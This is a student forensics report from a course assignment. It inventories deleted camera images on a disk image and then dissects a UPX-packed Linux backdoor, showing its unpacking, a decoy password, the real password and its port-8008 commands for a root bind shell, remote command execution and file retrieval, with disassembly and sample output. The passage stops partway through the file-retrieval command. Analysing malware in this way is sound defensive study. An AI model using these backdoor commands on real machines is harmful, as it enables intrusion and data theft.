

CSC469: A3

Date: 11/28/11


Katharine Kleemola (g8kleemo)



Rohan Chandra (g9chandr)

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S1

The following images were found in the investigation:

File name	Logical Size	Del	Original File name	Modified	Created	Thumbnail
DSCN2065.TIF	14858569	N	DSCN2065.TIF	3/4/2004 9:12:38 PM	3/4/2004 9:12:38 PM	
! SCN2069.JPG	1595126	Y	DSCN2069.JPG	3/4/2004 9:15:08 PM	3/4/2004 9:15:08 PM	
! SCN2068.JPG	1530008	Y	DSCN2068.JPG	3/4/2004 9:14:20 PM	3/4/2004 9:14:20 PM	
! SCN2067.JPG	1655470	Y	DSCN2067.JPG	3/4/2004 9:13:58 PM	3/4/2004 9:13:58 PM	

!SCN2066.JPG	1742642	Y	DSCN2066.JPG	3/4/2004 9:13:22 PM	3/4/2004 9:13:22 PM	
!LUEPR~1.TIF	689489	Y	BLUEPR~1.TIF	3/4/2004 8:39:18 PM	3/4/2004 8:39:18 PM	
!LUEPR~1.JPG	41233	Y	BLUEPR~1.JPG	3/4/2004 8:39:18 PM	3/4/2004 8:39:18 PM	

Additionally, a deleted file named !INFO.txt (most likely originally named INFO.txt) was found on the disk with information containing the camera settings for which each of the images was taken with and an empty file with name NIKON001.DSC which, according to the manufacture website, is an indexing file meant to facilitate transfers with proprietary software.

MD5 Hashes & File Locations

Name	File Location	MD5 Hash
!LUEPR~1.JPG	nfl\Part_1\NO NAME-FAT16\!LUEPR~1.JPG	F23CD85BA144EE615C893A14B2B6F289
!LUEPR~1.TIF	nfl\Part_1\NO NAME-FAT16\!LUEPR~1.TIF	6D5BBFD30F4A4EBAC8248E18D1A3096F
!SCN2066.JPG	nfl\Part_1\NO NAME-FAT16\DCIM\100NIKON\!SCN2066.JPG	CFADAC66DA5304AD774C8840754E9FDA
!SCN2067.JPG	nfl\Part_1\NO NAME-FAT16\DCIM\100NIKON\!SCN2067.JPG	E8837B54BA279FA1389D92DEAAC0EF90
!SCN2068.JPG	nfl\Part_1\NO NAME-FAT16\DCIM\100NIKON\!SCN2068.JPG	6A384F640984E8B04DD9B8D879EEE8A3
!SCN2069.JPG	nfl\Part_1\NO NAME-FAT16\DCIM\100NIKON\!	DD428A12809A36277B8DAECA1F777CAC

	SCN2069.JPG	
DSCN2065.TIF	nfl\Part_1\NO NAME-FAT16\DCIM\100NIKON\DSCN2065.TIF	7ABDBB25774589AE3156DC161B335A25
!INFO.TXT	nfl\Part_1\NO NAME-FAT16\DCIM\100NIKON\!INFO.TXT	90F48C821D5407336EC24213F358B86E
NIKON001.DSC	nfl\Part_1\NO NAME-FAT16\NIKON001.DSC	BF619EAC0CDF3F68D496EA9344137E8B

See appendix 1, NFL.dd analysis for details of the disk image as it was performed in FTK

S2

Initial investigation

The initial investigation revealed the following details.

```
b2240-08:~/Desktop/csc469/a3$ file stuxtcp.bin
```

```
stuxtcp.bin: ELF 32-bit LSB executable, Intel 80386, version 1, statically linked, corrupted section header size
```

```
b2240-08:~/Desktop/csc469/a3$ objdump -x stuxtcp.bin
```

```
stuxtcp.bin: file format elf32-i386
stuxtcp.bin
architecture: i386, flags 0x00000102:
EXEC_P, D_PAGED
start address 0x08048080
```

Program Header:

```
LOAD off      0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
filesz 0x00000590 memsz 0x00000590 flags r-x
LOAD off      0x00000590 vaddr 0x08049590 paddr 0x08049590 align 2**12
filesz 0x0000002c memsz 0x0000002c flags rw-
```

Sections:

```
Idx Name          Size  VMA   LMA   File off  Algn
SYMBOL TABLE:
no symbols
```

```
b2240-08:~/Desktop/csc469/a3$ nm stuxtcp.bin
```

```
nm: stuxtcp.bin: no symbols
```

From the above results, it became evident that stuxtcp.bin sought to hide itself by stripping its symbols and intentionally corrupting its headers. However, as noted later in the investigation, the extracted executable of stuxtcp.bin does contain symbols. This presences of symbols in the extracted component indicates that those symbols are in some way present in stuxtcp.bin and are either generated or recovered by the stuxtcp.bin during operation. Hence, it is evident that there is a level of obfuscation of the inner component within stuxtcp.bin.

Extracting the component hidden within Stuxtcp.bin:

Stuxtcp.bin is able to extract a file from itself via the following procedure, as taken from the output of strace on stuxcp.bin (a full output of strace -f ./Stuxtcp.bin can be found in appendix 2):

```
getpid()                = 9009
open("/proc/9009/exe", O_RDONLY) = 3
lseek(3, 1468, SEEK_SET) = 1468
```

In the above code segment, Stuxtcp.bin requests the value its own pid and uses this pid to reopen its own binary file, as located in the exe folder associated with its pid within the proc folder. Once it opens its binary file, present on fd 3, it seeks 1468 bytes forward in the file.


```
read(3, "\224,\25[]c\0\0}c\0\0"... , 12) = 12
gettimeofday({1322246807, 753024}, NULL) = 0
```

Stuxtcp.bin reads 12 bytes after the seek (location 1468+12) within the file and checks the time of day, possibly to validate that an exploit it utilizes still exists in the given version of the system.

```
unlink("/tmp/upxDFU5MWCAIZR") = -1 ENOENT (No such file or directory)
open("/tmp/upxDFU5MWCAIZR", O_WRONLY|O_CREAT|O_EXCL, 0700) = 4
ftruncate(4, 25469) = 0
old_mmap(NULL, 28672, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0x80495a408639018) = 0xb771b000
```

Stuxtcp.bin attempts to delete a temp file, upxAAAAAAA in the disassembled code of Stuxtcp.bin, in the event that the temp file already existed before Stuxtcp.bin was executed. It then runs the open command with the same temp file and path, with a creation disposition as the file is guaranteed to not exist at this point. This temp file is now open to the Stuxtcp.bin on fd 4 and stuxtcp.bin allocates 25469 bytes to the temp file via ftruncate. This temp file creation appear to be part of the upx unpacking that is detailed in the aside that follows.

It should be noted that the name of the temp file appears as upxAAAAAAA in the assembly view of Stuxtcp.bin, however the name of the actual generated temp file (as viewed by the systems calls relevant towards in the strace output) will appear as a upx(random string) indicating a level of obfuscation performed by Stuxtcp.bin to create temp files with largely randomized names. In the following captured output, one can see these randomized temporary file names in the commands “unlink” and “open”.



The image shows two terminal windows. The top window displays a series of system calls and their return values, including unlink, open, ftruncate, mmap, read, write, munmap, close, and access. The bottom window shows a similar sequence of system calls, but with different file paths and return values.

```
Terminal - g8adume@b2240-08:~/Desktop/csc469/a3
File Edit View Terminal Go Help
unlink("/tmp/upxBP5H05ZAGGC") = -1 ENOENT (No such file
open("/tmp/upxBP5H05ZAGGC", 0_WRONLY|O_CREAT|O_EXCL, 0700) = 4
ftruncate(4, 25469) = 0
old_mmap(NULL, 28672, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYM
95a40a04c018) = 0xb7799000
read(3, "}c\0\0i+\0\0"... , 8) = 8
read(3, "\177?d\371\177ELF\1\0\2\0\3\0\r\200\216\4\375o\263\335\01
\6\0"... , 11113) = 11113
write(4, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\2\0\3\0\1\0\0\0\200\216\
... , 25469) = 25469
read(3, "\0\0\0\0UPX!"... , 8) = 8
munmap(0xb7799000, 28672) = 0
close(4) = 0
close(3) = 0
open("/tmp/upxBP5H05ZAGGC", 0_RDONLY) = 3
access("/proc/6338/fd/3", R_OK|X_OK) = 0

Terminal - g8adume@b2240-08:~/Desktop/csc469/a3
File Edit View Terminal Go Help
unlink("/tmp/upxA0QQ0Z3AGDN") = -1 ENOENT (No such file
open("/tmp/upxA0QQ0Z3AGDN", 0_WRONLY|O_CREAT|O_EXCL, 0700) = 4
ftruncate(4, 25469) = 0
old_mmap(NULL, 28672, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYM
read(3, "}c\0\0i+\0\0"... , 8) = 8
read(3, "\177?d\371\177ELF\1\0\2\0\3\0\r\200\216\4\375o\263\335\01
write(4, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\2\0\3\0\1\0\0\0\200\216\
read(3, "\0\0\0\0UPX!"... , 8) = 8
munmap(0xb77d2000, 28672) = 0
close(4) = 0
close(3) = 0
open("/tmp/upxA0QQ0Z3AGDN", 0_RDONLY) = 3
access("/proc/6253/fd/3", R_OK|X_OK) = 0
```

```
read(3, "}c\0\0i+\0\0"... , 8) = 8
read(3, "\177?d\371\177ELF\1\0\2\0\3\0\r\200\216\4\375o\263\335\0104\7@N\27\v \
0\6\0"... , 11113) = 11113
write(4, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\2\0\3\0\1\0\0\0\200\216\4\0104\0\0\0@"... ,
25469) = 25469
read(3, "\0\0\0\0UPX!"... , 8) = 8
```

Obfuscation aside:

At this point, Stuxtcp.bin then reads 11113 bytes (beginning at 1468+12), then writes 25469 to the aforementioned open temp file. As the size of what is written by stuxtcp.bin is much larger than what it initially read, and there are no additional system calls between the read and the write, stuxtcp.bin is able to process the bytes it read and deobfuscate those bytes to create the hidden inner component of stuxtcp.bin. When performing the command strings on stuxtcp.bin (see appendix 2 for output) parts of commands run by the hidden component are discovered. Given the size disparity between the read and the write, as well as these partial outputs, it is unlikely that the obfuscation is done through any form of encryption (bit shift, a cipher, etc) as we would have not seen such a large change in file size or any partially recoverable strings. The various factors then indicate that the obfuscation is done through a form of compression and the

running of stuxtcp.bin is meant to decompress a hidden element within itself which forms the backdoor element that is subsequently run.

Performing Strings on stuxtcp.bin reveals a "UPX!" string within the file. This string is the nominal header, as interpreted as a string, for a UPX packed file, which strongly suggests the type of compression used was UPX packing. Additionally, documentation of UPX files indicate that two mechanisms exist for decompressing a UPX, one of which involves writing to a temp file, opening that file (which assigns a fd to said temp file) and utilizing the proc directory to execute the binary of that temp file. This procedure was observed in the investigation and are detailed after the aside.

This suspicion was then confirmed via the following test.

Three files were used in this test, the original stuxtcp.bin, a binary file known not to have UPX packing, and finally a file known to have UPX packing (done with UPX packer, ultimate packer for executable (<http://upx.sourceforge.net/>). Using this packer, a UPX packing test command was run, to test if the files present could be UPX decompressed.

```
b2240-08:~/Desktop/csc469/a3/upx$ ./upx -t ../*.bin
          Ultimate Packer for eXecutables
          Copyright (C) 1996 - 2010
UPX 3.07      Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 08th 2010

upx: ../not-upx-packed.bin: NotPackedException: not packed by UPX
testing ../stuxtcp.bin [OK]
testing ../upx-packed.bin [OK]

Tested 2 files.
```

This test showed that stuxtcp.bin contained UPX packing.

Given this discovery, we attempted to compare the UPX unpacking to a copy of the binary of the inner component of stuxtcp.bin found from the proc/<PID>/exe link as described after the aside and shown briefly here. (note the following proc folder examination is performed while stuxtcp.bin is waiting for a password).

```
b2240-08:~$ ps aux | grep stux
g8adume  7446  0.0  0.0   1764   464 pts/1    S+   13:40   0:00 ./stuxtcp.bin
g8adume  7484  0.0  0.0   1836   516 pts/2    R+   13:41   0:00 grep stux
b2240-08:~$ cp /proc/7446/exe ~/uncompressed.bin
b2240-08:~$ wget http://www.cs.utoronto.ca/~gsg/4N6fall11/assignments/stuxtcp.bin
b2240-08:~$ md5sum *.bin
968a6ed27fc1f1474b9950c9f33be8ea  stuxtcp.bin
b7e14f8de6e96097873518869f15cded  uncompressed.bin
```

In the above, uncompressed.bin is the binary located at proc/<pid>/exe. Performing an md5 hash comparison, it is clear that the two binary files are different. An UPX unpacking is then attempted on stuxtcp.bin.


```

b2240-08:~$ ./upx -d stuxtcp.bin
                Ultimate Packer for eXecutables
                Copyright (C) 1996 - 2010
UPX 3.07      Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 08th 2010

    File size      Ratio      Format      Name
    -----
    25469 <-      12641      49.63%      linux/386      stuxtcp.bin

Unpacked 1 file.
b2240-08:~$ md5sum *.bin
b7e14f8de6e96097873518869f15cded  stuxtcp.bin
b7e14f8de6e96097873518869f15cded  uncompressed.bin

```

Finally a new md5 hash is calculated and we find that the unpacked version of stuxtcp has an identical hash as the binary recovered from the proc folder and it is evident that UPX packing was used to conceal the inner component of stuxtcp.bin.

Component hidden extraction continued:

Continuing from directly after Stuxtcp.bin successfully finished writing to its temp file, Stuxtcp.bin then performs additional clean up, unmapping the file and closing its open fd. As will be described as the investigation continues, this temp file that is being written to is the hidden component of stuxtcp.bin and it is evident that stuxtcp.bin uses the 11113 bytes it reads in to generate the temp file, as described in the previous aside, that contains the backdoor aspect of the malware.

```

open("/tmp/upxDFU5MWCAIZR", O_RDONLY)    = 3
access("/proc/9009/fd/3", R_OK|X_OK)     = 0
unlink("/tmp/upxDFU5MWCAIZR")            = 0
fcntl(3, F_SETFD, FD_CLOEXEC)            = 0
execve("/proc/9009/fd/3", ["/.stuxtcp.bin"], [/* 26 vars */) = 0

```

Stuxtcp.bin opens the temp file it had created previously and tests that it has both read and execute permission on the file. While keeping the fd to the file open, it deletes the temp file. However, a copy of the temp file will still exist in its proc directory and Stuxtcp.bin is able to execve that binary, with all of the code that was previously set up within it.

```

rt_sigaction(SIGRTMIN, {0xb76dd2e0, [], SA_SIGINFO}, NULL, 8) = 0
rt_sigaction(SIGRT_1, {0xb76dd720, [], SA_RESTART|SA_SIGINFO}, NULL, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0

```

Stuxtcp.bin modifies the sig terminate and sigrt signals to be handled by custom functions at the two memory addresses respectively, likely to prevent it from being killed.

Retrieving the hidden element extracted from within stuxtcp.bin:

As previously mentioned, the temp file created by stuxtcp.bin is deleted before its file descriptor is closed so it can only be accessed through /proc (i.e. by the path /proc/<pid>/fd/3). This binary

is then ran using `execve`. This overwrites the `exe` link of the `proc` folder of the caller process. With this hidden binary now extracted, we can begin to search for the password.

```
b2240-10:~/Courses/CSC469/A3/p2$ stuxtcp.bin
Enter Password: ^C
b2240-10:~/Courses/CSC469/A3/p2$ strace -f stuxtcp.bin
execve("./stuxtcp.bin", ["stuxtcp.bin"], [/* 26 vars */]) = 0
getpid()                               = 7876
open("/proc/7876/exe", O_RDONLY)        = 3
```

In a seperate terminal:

```
b2240-10:~$ cd /proc
b2240-10:/proc$ cd 7876
b2240-10:/proc/7876$ ls
attr          coredump_filter  fd             maps           net            sched          status
auxv          cpuset           fdinfo         mem            oom_adj        sessionid      task
cgroup        cwd              io             mountinfo      oom_score      smaps          wchan
clear_refs    environ          limits         mounts         pagemap        stat
cmdline       exe              loginuid       mountstats     root           statm
b2240-10:/proc/7876$ stat exe
  File: `exe' -> `/tmp/upxD3GBFJXAHWE (deleted)'
  Size: 0                Blocks: 0          IO Block: 1024   symbolic link
Device: 3h/3d  Inode: 3286587     Links: 1
Access: (0777/lrwxrwxrwx)  Uid: (10020/g9chandr)  Gid: ( 1009/gstudent)
Access: 2011-11-25 18:31:46.551164016 -0500
Modify: 2011-11-25 18:31:46.551164016 -0500
Change: 2011-11-25 18:31:46.551164016 -0500
```

Password retrieval:

At this point, `Stuxtcp.bin` requests a password, the determinations of which is detailed in the following:

Running `strings` on the extracted file reveals what it appears to be a password:

```
fclose
scanf
htons
exit
fopen
atoi
_IO_stdin_used
__libc_start_main
strlen
setuid
setgid
setuid
__gmon_start__
GLIBC_2.1
GLIBC_2.0
PTRh
QVh0
RDFpassword
[su]
[login]
[bash]
/dev/null
children %d died
Content-type: text/html
HTTP/1.1 404 Not Found
Date: Mon, 14 Jan 2002 03:19:55 GMT
Server: Apache/1.3.22 (Unix)
Connection: close
Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 4.0//EN">
<HTML><HEAD>
<TITLE>404 Not Found</TITLE>
</HEAD><BODY>
<H1>Not Found</H1>
The requested URL was not found on this server.<P>
<HR>
```

When we try entering this password ("RDFpassword") while running strace on stuxtcp.bin the following occurs:

```

0) = 0xb7568000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7568ad0, limit:104
8575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg
_not_present:0, useable:1}) = 0
mprotect(0xb76be000, 4096, PROT_READ) = 0
munmap(0xb76dd000, 130647) = 0
set_tid_address(0xb7568b18) = 10512
set_robust_list(0xb7568b20, 0xc) = 0
futex(0xb7979db0, FUTEX_WAKE_PRIVATE, 1) = 0
rt_sigaction(SIGRTMIN, {0xb76c82e0, [], SA_SIGINFO}, NULL, 8) = 0
rt_sigaction(SIGRT_1, {0xb76c8720, [], SA_RESTART|SA_SIGINFO}, NULL, 8
) = 0
rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY})
= 0
uname({sys="Linux", node="b2240-08", ...}) = 0
fstat64(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 2), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0xb76fc000
fstat64(0, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 2), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0xb76fb000
write(1, "Enter Password: "..., 16Enter Password: ) = 16
read(0, RDFpassword
"RDFpassword\n"..., 1024) = 12
write(1, "You entered an Incorrect Password"..., 47You entered an Inco
rrect Password. Exiting...
) = 47
write(1, "====..."..., 56=====
=====
) = 56
write(1, "[Simulated Booby Trap!]\nFormat Co"..., 41[Simulated Booby T
rap!]
Format Complete!
) = 41
write(1, "====..."..., 56=====
=====
) = 56
exit_group(0) = ?
b2240-08:~/Downloads$ █

```

The password is “booby-trapped”.

This suggested it was necessary to use a more sophisticated tool such as IDA Pro to determine the real password.

Using IDA Pro to analyse the assembly code of the temporary file, the following function was found:

```

public get_password
get_password proc near

s1= byte ptr -58h


push    ebp
mov     ebp, esp
sub     esp, 58h
sub     esp, 0Ch
push    offset aEnterPassword ; "Enter Password: "
call    _printf
add     esp, 10h
sub     esp, 8
lea     eax, [ebp+s1]
push    eax
push    offset aS          ; "%s"
call    _scanf
add     esp, 10h
lea     eax, [ebp+s1]
sub     esp, 8
push    eax                ; s2
push    offset stored_password ; s1
call    _strcmp
add     esp, 10h
test    eax, eax
jnz     short loc_804A872

```

stuxtcp.bin prompts for a password and then uses strcmp to check if the password entered is the same as one being stored.

By setting a breakpoint in the get_password function and running the debugger, the value of the stored password used in the comparison is retrieved.

The correct password is "JBR".



Back door capabilities (post password):

During the investigation it was determined that the malware creates a backdoor by opening port 8008 on the infected host and allowing the attacker to run multiple commands on the infected machine. Due to lack of necessary permissions, it was not possible to successfully run the malware on CDF so instead a Linux virtual machine was created to simulate the infected host. By running the malware on the virtual machine and combining those results with strings output and IDA Pro output the following conclusions were reached:

1. The strings and IDA Pro output (show respectively below) hints at the possibility that the malware creates a backdoor because it has embedded html that mentions an Apache server running at localhost on port 8008.

```
<HTML><HEAD>
<TITLE>404 Not Found</TITLE>
</HEAD><BODY>
```

```

<H1>Not Found</H1>
The requested URL was not found on this server.<P>
<HR>
<ADDRESS>Apache/1.3.22 Server at localhost Port 8008</ADDRESS>
</BODY></HTML>

```

```

.rodata:0804AD40 aContentTypeT_2 db 'Content-type: text/html',0Ah ; DATA XREF: read_file+1Co
.rodata:0804AD40 db 0Ah
.rodata:0804AD40 db '<html>',0Ah
.rodata:0804AD40 db '<head><title>Shell ok.</title></head>',0Ah
.rodata:0804AD40 db '<body bgcolor="#000000">',0Ah
.rodata:0804AD40 db '<div align="left">',0Ah
.rodata:0804AD40 db '<pre><font face="Arial" color="#999999" size="2">',0Ah,0
.rodata:0804ADE7 align 20h
.rodata:0804AE00 aFontPreDivBrBo db '</font></pre></div><br>',0Ah ; DATA XREF: read_file+23o
.rodata:0804AE00 db '</body></html>',0Ah
.rodata:0804AE00 db 0Ah,0
.rodata:0804AE29 aBYourCommandB db '<b>Your Command:</b>',0Ah,0 ; DATA XREF: read_file+2Ao

```

2. A list of commands was then discovered that can be invoked on the infected host via the malware. Each command was discovered by analyzing IDA Pro disassembly to determine the command name, the parameters it took and the action it performed. These results were then tested in the virtual machine to confirm their nature.

Analysis of the assembly code revealed that the malware would use the strstr function call to check if a string contains a given specific substring and thereby determine which command to run. In the assembly shown below the usage of the strstr function can be seen.

```

bindport
socks
givemeshell
givemefile

.rodata:0804AEAD ; char aBindport[]
.rodata:0804AEAD aBindport db 'bindport',0 ; DATA XREF: read_file+83o
.rodata:0804AEB8 ; char aSocks[]
.rodata:0804AEB8 aSocks db 'socks',0 ; DATA XREF: read_file+121o
.rodata:0804AEC5 ; char aGivemeshell[]
.rodata:0804AEC5 aGivemeshell db 'givemeshell',0 ; DATA XREF: read_file+297o
.rodata:0804AED8 ; char aGivemefile[]
.rodata:0804AED8 aGivemefile db 'givemefile',0 ; DATA XREF: read_file+5B5o

```

2.1 http://{target_ip}:8008/bindport:{port_number}

Binds a root shell to the specified port number. If called without port number, it binds by default to port 8888.

Relevant assembly code:

```

.text:080494C2 loc_80494C2: ; CODE XREF: read_file+66j
.text:080494C2 sub esp, 8
.text:080494C5 push offset aBindport ; "bindport"
.text:080494CA push [ebp+haystack] ; haystack
.text:080494CD call _strstr
.text:080494D2 add esp, 10h
.text:080494D5 mov [ebp+var_40], eax
.text:080494D8 sub esp, 8


```

```

.text:080494DB      push     offset asc_804AEB6 ; ":"
.text:080494E0      push     [ebp+haystack] ; haystack
.text:080494E3      call    _strstr
.text:080494E8      add     esp, 10h
.text:080494EB      mov     [ebp+var_44], eax
.text:080494EE      cmp     [ebp+var_40], 0
.text:080494F2      jz      short loc_8049560
.text:080494F4      cmp     [ebp+var_44], 0
.text:080494F8      jz      short loc_8049560
.text:080494FA      sub     esp, 0Ch
.text:080494FD      mov     eax, [ebp+var_44]
.text:08049500      inc     eax
.text:08049501      push    eax ; nptr
.text:08049502      call    _atoi
.text:08049507      add     esp, 10h
.text:0804950A      mov     [ebp+var_38], eax
.text:0804950D      cmp     [ebp+var_38], 0
.text:08049511      jg      short loc_804951A
.text:08049513      mov     [ebp+var_38], 22B8h
.text:0804951A      loc_804951A:
.text:0804951A      sub     esp, 4 ; CODE XREF: read_file+CFj
.text:0804951D      sub     esp, 8
.text:08049520      push    [ebp+buf] ; s
.text:08049523      call    _strlen
.text:08049528      add     esp, 0Ch
.text:0804952B      push    eax ; n
.text:0804952C      push    [ebp+buf] ; buf
.text:0804952F      push    [ebp+fd] ; fd
.text:08049532      call    _write
.text:08049537      add     esp, 10h
.text:0804953A      sub     esp, 0Ch
.text:0804953D      push    [ebp+fd] ; fd
.text:08049540      call    _close
.text:08049545      add     esp, 10h
.text:08049548      sub     esp, 0Ch
.text:0804954B      push    [ebp+var_38]
.text:0804954E      call    bind_shell
.text:08049553      add     esp, 10h
.text:08049556      sub     esp, 0Ch
.text:08049559      push    0 ; status
.text:0804955B      call    _exit

```


Sample Output:



2.2 http://{target_ip}:8008/givemeshell:{command}

Executes the specified shell command on the infected machine. This command will open a root shell in the infected host, execute the given command and return the output.

Relevant assembly code:

```
.text:080496D6 ; -----
.text:080496D6
.text:080496D6 loc_80496D6:                                ; CODE XREF: read_file+17Aj
.text:080496D6                                ; read_file+184j ...
.text:080496D6      sub      esp, 8
.text:080496D9      push     offset aGivemeshell ; "givemeshell"
.text:080496DE      push     [ebp+haystack] ; haystack
.text:080496E1      call    _strstr
.text:080496E6      add     esp, 10h
.text:080496E9      mov     [ebp+var_40], eax
.text:080496EC      sub     esp, 8
.text:080496EF      push     offset asc_804AEB6 ; ":"
.text:080496F4      push     [ebp+haystack] ; haystack
.text:080496F7      call    _strstr
.text:080496FC      add     esp, 10h
.text:080496FF      mov     [ebp+var_44], eax
.text:08049702      cmp     [ebp+var_40], 0
.text:08049706      jz      loc_80499ED
.text:0804970C      cmp     [ebp+var_44], 0
.text:08049710      jz      loc_80499ED
.text:08049716      mov     eax, [ebp+arg_0]
.text:08049719      add     eax, 11h
.text:0804971C      mov     [ebp+var_4C], eax
.text:0804971F      sub     esp, 8
.text:08049722      push     offset aHttp      ; "HTTP"
.text:08049727      push     [ebp+var_4C]      ; haystack
.text:0804972A      call    _strstr
.text:0804972F      add     esp, 10h
.text:08049732      mov     [ebp+s], eax
.text:08049735      cmp     [ebp+s], 0
.text:08049739      jz      short loc_8049741
.text:0804973B      mov     eax, [ebp+s]
.text:0804973E      mov     byte ptr [eax], 0
.text:08049741
.text:08049741 loc_8049741:                                ; CODE XREF: read_file+2F7j
.text:08049741      sub     esp, 0Ch
.text:08049744      push     [ebp+var_4C]      ; s
.text:08049747      call    _strlen
.text:0804974C      add     esp, 10h
.text:0804974F      add     eax, [ebp+var_4C]
.text:08049752      dec     eax
.text:08049753      mov     byte ptr [eax], 0
.text:08049756      sub     esp, 0Ch
.text:08049759      push     [ebp+var_4C]
.text:0804975C      call    plustospace
.text:08049761      add     esp, 10h
.text:08049764      sub     esp, 0Ch
.text:08049767      push     [ebp+var_4C]
.text:0804976A      call    unescape_url
.text:0804976F      add     esp, 10h
.text:08049772      sub     esp, 0Ch
.text:08049775      push     [ebp+var_4C]      ; s
.text:08049778      call    _strlen
.text:0804977D      add     esp, 10h
.text:08049780      mov     [ebp+var_30], eax
```


```

.text:08049783      mov     eax, [ebp+var_30]
.text:08049786      mov     [ebp+var_34], eax
.text:08049789      mov     eax, [ebp+var_30]
.text:0804978C      add     eax, [ebp+var_4C]
.text:0804978F      mov     byte ptr [eax], 20h
.text:08049792      lea     eax, [ebp+var_30]
.text:08049795      inc     dword ptr [eax]
.text:08049797      mov     eax, [ebp+var_30]
.text:0804979A      add     eax, [ebp+var_4C]
.text:0804979D      mov     byte ptr [eax], 20h
.text:080497A0      lea     eax, [ebp+var_30]
.text:080497A3      inc     dword ptr [eax]
.text:080497A5      mov     eax, [ebp+var_30]
.text:080497A8      add     eax, [ebp+var_4C]
.text:080497AB      mov     byte ptr [eax], 3Eh
.text:080497AE      lea     eax, [ebp+var_30]
.text:080497B1      inc     dword ptr [eax]
.text:080497B3      mov     eax, [ebp+var_30]
.text:080497B6      add     eax, [ebp+var_4C]
.text:080497B9      mov     byte ptr [eax], 20h
.text:080497BC      lea     eax, [ebp+var_30]
.text:080497BF      inc     dword ptr [eax]
.text:080497C1      mov     [ebp+var_2C], 0
...
.text:080497FB      sub     esp, 0Ch
.text:080497FE      push    [ebp+filename] ; s
.text:08049801      call    _strlen
.text:08049806      add     esp, 10h
.text:08049809      add     eax, [ebp+var_30]
.text:0804980C      add     eax, [ebp+var_4C]
.text:0804980F      mov     byte ptr [eax], 0
.text:08049812      mov     eax, [ebp+var_4C]
.text:08049815      mov     [ebp+command], eax
.text:08049818      sub     esp, 0Ch
.text:0804981B      push    0 ; uid
.text:0804981D      call    _setuid
.text:08049822      add     esp, 10h
.text:08049825      sub     esp, 0Ch
.text:08049828      push    0 ; gid
.text:0804982A      call    _setgid
.text:0804982F      add     esp, 10h
.text:08049832      sub     esp, 0Ch
.text:08049835      push    offset path ; "/"
.text:0804983A      call    _chdir
.text:0804983F      add     esp, 10h
.text:08049842      sub     esp, 0Ch
.text:08049845      push    [ebp+string] ; string
.text:08049848      call    _putenv
.text:0804984D      add     esp, 10h
.text:08049850      sub     esp, 0Ch
.text:08049853      push    [ebp+command] ; command
.text:08049856      call    _system
.text:0804985B      add     esp, 10h
.text:0804985E      sub     esp, 8
.text:08049861      push    offset modes ; "r"
.text:08049866      push    [ebp+filename] ; filename
.text:08049869      call    _fopen
.text:0804986E      add     esp, 10h
.text:08049871      mov     [ebp+stream], eax
.text:08049874      cmp     [ebp+stream], 0
.text:08049878      jnz     short loc_80498A5
.text:0804987A      sub     esp, 4

```

```
.text:0804987D      sub     esp, 8
.text:08049880      push   [ebp+var_8]      ; s
.text:08049883      call   _strlen
.text:08049888      add     esp, 0Ch
.text:0804988B      push   eax              ; int
.text:0804988C      push   [ebp+var_8]      ; int
.text:0804988F      push   [ebp+fd]         ; fd
.text:08049892      call   writen_file
.text:08049897      add     esp, 10h
.text:0804989A      mov     eax, [ebp+var_8]
.text:0804989D      mov     [ebp+var_64], eax
.text:080498A0      jmp     loc_8049B3A
```

Sample output:



Content-type: text/html

```
<html>
<head><title>Shell ok.</title></head>
<body bgcolor="#000000">
<div align="left">
<pre><font face="Arial" color="#999999" size="2">
<b>Your Command:</b>
ls -l<br>
<br>
total 88
drwxr-xr-x  2 root root  4096 2011-11-23 09:51 bin
drwxr-xr-x  3 root root  4096 2011-11-23 09:52 boot
drwxr-xr-x  2 root root  4096 2011-11-23 09:50 cdrom
drwxr-xr-x 14 root root 4140 2011-11-26 11:16 dev
drwxr-xr-x 131 root root 12288 2011-11-26 11:31 etc
drwxr-xr-x  3 root root  4096 2011-11-26 11:38 home
lrwxrwxrwx  1 root root    32 2011-11-23 09:51 initrd.img -> boot/initrd.img-
3.0.0-12-generic
drwxr-xr-x 20 root root  4096 2011-11-23 09:51 lib
drwx----- 2 root root 16384 2011-11-23 09:47 lost+found
drwxr-xr-x  3 root root  4096 2011-11-25 09:01 media
drwxr-xr-x  2 root root  4096 2011-10-09 00:29 mnt
drwxr-xr-x  2 root root  4096 2011-11-23 09:53 opt
dr-xr-xr-x 156 root root    0 2011-11-26 11:16 proc
drwx----- 19 root root  4096 2011-11-26 11:38 root
drwxr-xr-x 19 root root   740 2011-11-26 11:17 run
drwxr-xr-x  2 root root  4096 2011-11-23 09:52 sbin
drwxr-xr-x  2 root root  4096 2011-06-21 11:43 selinux
drwxr-xr-x  2 root root  4096 2011-10-12 07:27 srv
drwxr-xr-x 12 root root    0 2011-11-26 11:16 sys
drwxrwxrwt 14 root root  4096 2011-11-26 14:10 tmp
drwxr-xr-x 10 root root  4096 2011-10-12 07:27 usr
drwxr-xr-x 13 root root  4096 2011-11-25 09:17 var
lrwxrwxrwx  1 root root    29 2011-11-23 09:51 vmlinuz -> boot/vmlinuz-3.0.0-
12-generic
<br>
</font></pre></div><br>
```

2.3 http://{target_ip}:8008/givemefile/{file}

This command returns the contents of the file specified. If the file is a text file then it is displayed in the browser, otherwise the a download prompt is shown.

Relevant assembly code:

```
